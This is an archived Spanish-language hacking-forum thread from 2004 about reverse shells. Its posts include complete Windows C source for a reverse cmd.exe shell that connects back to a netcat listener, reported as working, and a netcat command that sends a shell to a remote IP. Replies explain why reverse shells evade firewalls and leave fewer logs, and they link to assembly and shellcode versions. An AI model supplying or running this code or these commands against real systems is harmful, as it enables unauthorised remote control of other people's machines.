elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
11 Octubre 2008, 12:16  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderadores: sirdarckcat, berz3k)
| | |-+  Reverse Shell
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Reverse Shell  (Leído 4748 veces)
Gospel
Colaborador

Desconectado Desconectado

Mensajes: 1.580



Ver Perfil WWW
Reverse Shell
« en: 02 Marzo 2004, 02:32 »

Wola.....

1) La idea es dejar el netcat escuchando en un determinado puerto (nc -l -p 4444 -vv) y q al ejecutar un exploit, la shellcode me devuelva la shell remota a la otra ventana con el netcat a la escucha...
El equivalente a la instruccion: nc -d -e cmd.exe 10.10.0.1 4444  :)

Alguien me puede ayudar a encontrar una shellcode q devuelva una reverse shell a un determinado puerto con un nc a la escucha???

2) En la linea a esta duda, he encontrado los siguientes codigos de Adik q se supone devuelven una reverse cmd shell a una direccion y puerto configurables en el propio código!!! Ojo, no son shellcodes (como ando pidiendo al principio de este post)...

Adik reverse cmd shell @ http://citadelle.intrinsec.com/mailing/current/HTML/ml_bugtraq_vuln_dev/5076.html

En este link podréis encontrar tanto el código en C como en ASM... posteo el C para vuestra comodidad...
 
Código:
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")


void main(int argc, char *argv[])
{
        WSADATA wsaData;
        SOCKET hSocket;
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        struct sockaddr_in adik_sin;
        memset(&adik_sin,0,sizeof(adik_sin));
        memset(&si,0,sizeof(si));
        WSAStartup(MAKEWORD(2,0),&wsaData);
        hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
        adik_sin.sin_family = AF_INET;
        adik_sin.sin_port = htons(55);
        adik_sin.sin_addr.s_addr = inet_addr("127.0.0.1");
        connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin));
        si.cb = sizeof(si);
        si.dwFlags = STARTF_USESTDHANDLES;
        si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
        CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);
        ExitProcess(0);


}


Supuestamente, este código devuelve una reverse shell a un netcat escuchando en el puerto 55

Citar
reverse cmd shell

Will spit back command shell on ur listening netcat
on ur localhost (127.0.0.1) port 55

set up ur netcat eg. nc -l -p 55 -vv


Bueno, el caso es q he intentado compilar este código con VisualC++, Dev-C++, LCC y hasta Cygwin cambiando las cabeceras!!!!! y me da errores en todos  :'( asi q si alguien es tan amable de probarlo por su cuenta y tiene exito, q me avise.

Gracias

Salu2
« Última modificación: 02 Marzo 2004, 02:49 por gospel » En línea

®®
Colaborador

Desconectado Desconectado

Mensajes: 5.267


Ver Perfil
Re:Reverse Shell
« Respuesta #1 en: 02 Marzo 2004, 02:51 »

si compila en dev c++, añadele ws2_32 desde el menu proyecto > opciones de proyecto > parametros > añadir biblioteca u objeto.
En línea
Gospel
Colaborador

Desconectado Desconectado

Mensajes: 1.580



Ver Perfil WWW
Re:Reverse Shell
« Respuesta #2 en: 02 Marzo 2004, 03:28 »

Mierdaaaaaaaaaaaaaaa..... era un cpp no un c....

Ahora si me compila con VC++ ;)
BTW, estoy empezando a odiar el Dev-C++ (vaya gracia eso de cambiar las librerias de nombre...)

He probao el código de Adik y SI: funciona perfectamente...

Wuay, si alguien me ayuda con lo de la shellcode ya soy el hombre mas feliz del mundo por un par de días  :D

Gracias Potato
Salu2
« Última modificación: 02 Marzo 2004, 03:52 por gospel » En línea

Gospel
Colaborador

Desconectado Desconectado

Mensajes: 1.580



Ver Perfil WWW
Re:Reverse Shell
« Respuesta #3 en: 02 Marzo 2004, 14:49 »

1) La idea es dejar el netcat escuchando en un determinado puerto (nc -l -p 4444 -vv) y q al ejecutar un exploit, la shellcode me devuelva la shell remota a la otra ventana con el netcat a la escucha...
El equivalente a la instruccion: nc -d -e cmd.exe 10.10.0.1 4444  :)

Alguien me puede ayudar a encontrar una shellcode q devuelva una reverse shell a un determinado puerto con un nc a la escucha???

Bien, estaba pensando y me he dao cuenta q esto no se puede pedir, ya q se supone q en la shellcode tendrían q configurarse el puerto y IP destino..... y no tengo tanta idea de shellcodes...

Ahora me surge la duda, q diferencia hay entre una shellcode q "binds a port" o q da una "reverse shell"?? En principio, llego a q la shellcode q "binds a port", deja un puerto a la escucha en la máquina q se ejecuta para q te conectes remotamente con telnet y nc y te devuelva la shell. Ahora bien, la "reverse shell" no dependerá sólo de la shellcode, intervendrá el código del exploit, no?
Bueno, si alguien me puede aclarar un poco cómo funciona esto de la reverse shell en un exploit y q es lo q realmente hace la shellcode al ejecutarse, le estaría agradecido....

Salu2
En línea

ksys

Desconectado Desconectado

Mensajes: 34

ksys


Ver Perfil WWW
Re: Reverse Shell
« Respuesta #4 en: 07 Junio 2004, 21:00 »

Bien, estaba pensando y me he dao cuenta q esto no se puede pedir, ya q se supone q en la shellcode tendrían q configurarse el puerto y IP destino..... y no tengo tanta idea de shellcodes...

gospel !!! Claro !! juer..., pero siemre puedes utiizar un servicio como el de no-ip.com el cual tiene cliente tanto para güindows como para LinuX :)

Probaré a ver k tal...
En línea

Obtendremos la iluminación cuando nos preocupemos por los demás tanto como nos preocupamos por nosotros mismos...
Amadeus

Desconectado Desconectado

Mensajes: 26


I love Nmap


Ver Perfil
Re: Reverse Shell
« Respuesta #5 en: 09 Junio 2004, 08:30 »

Gospel si lo consigues ya sabes, pls postealo que toy interesado. (no consigo que el otro deje el puerto a la escucha..)

thx y salu2
En línea
Rojodos
"If you wanna be free, you must be different"

Desconectado Desconectado

Mensajes: 3.525



Ver Perfil
Re: Reverse Shell
« Respuesta #6 en: 09 Junio 2004, 09:03 »

Pues lo has explicado bastante bien.

Las shellcodes normales hacen un bind port, que es lo que tu has dixo, abren un puerto alto (>1024) y ahi colocan un cmd.exe (explicacion simple).

Las reverse shell se usan para evitar firewalls (ya que el ekipo atacado no recibe ninguna conexion por un puerto alto, que puede estar filtrado, sino que la envia, que puede no estar filtrado) y, las mas sofisticadas, para utilizar la MISMA conexion TCP para ejecutar la shell (casi imposible de evitar con un firewall). Ademas, no genera tantos logs.

Por eso se usan la reverse shell.

http://www.elhacker.net/exploits/

Al final hay una scode reverse shell, PERO, hay que toquetear la scode :D:D:D

Salu2

En línea
pinkfeet

Desconectado Desconectado

Mensajes: 7


¡Amo YaBB SE!


Ver Perfil
Re: Reverse Shell
« Respuesta #7 en: 01 Julio 2004, 11:26 »

olassss, estoy pensando hacer una version linux de este reverse shell y las primeras dudas k me asaltan son las siguientes:
 
Código:
si.dwFlags = STARTF_USESTDHANDLES;
// permite que redirijamos in,out,err al socket
si.hStdInput = si.hStdOutput = si.hStdError = (void *)socketLlamada;
// redireccion propiamente dicha
CreateProcess(NULL,"cmd",NULL,NULL,true,0,NULL,NULL,&si,&pi);
// llamada al proceso,

hasta aki todo ok y basandome en esta idea...

como puedo redigir el in,out y err en linux en mis llamadas a proceso ? fork,execve,system y popen no
me permiten hacerlo especificando un descriptor de socket como en el caso de la struct STARTUPINFO para CreateProccess no ?

refinitiva: podria 'preparar el terreno' por asi decirlo para que la siguiente llamada a execve por ejemplo engendrara la shell con el in,out y err 'enpipadas' en un socket de conexion previamente establecido?

Salu2
p.d: buxas braciasssss!!!!
En línea
Jakin

Desconectado Desconectado

Mensajes: 11


¡Amo YaBB SE!


Ver Perfil
Re: Reverse Shell
« Respuesta #8 en: 03 Julio 2004, 05:07 »

hola de nuevo,aki teneis el código en asm del reverseshell ese que esta ahi en c.
http://ercunsites.webcindario.com/asmt/reverseshell1.asm

y aki otro.
código en c
http://ercunsites.webcindario.com/source/reversep.cpp
y en asm
http://ercunsites.webcindario.com/asmt/reverseshell2.asm

para cambiar la ip y el port este programa
http://ercunsites.webcindario.com/tools/iphexp.zip
te lo pasa a la inversa y hexadcimal

me comentarón que algunos códigos en asm dan problemas solo cojerlo pegarlo al shellmake,si no teneis winxp sp1,cambiar los offside de LoadLibraryA y GetprocAddress,con el shellmake mismo,este programa está en mi misma página, y te da la shellcode.

un saludo
y a drifrutar que es temprano aún
xDDDDD
« Última modificación: 03 Julio 2004, 05:28 por Jakin » En línea
Páginas: [1] Ir Arriba Imprimir 
Ir a:  







Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC
Free counter and web stats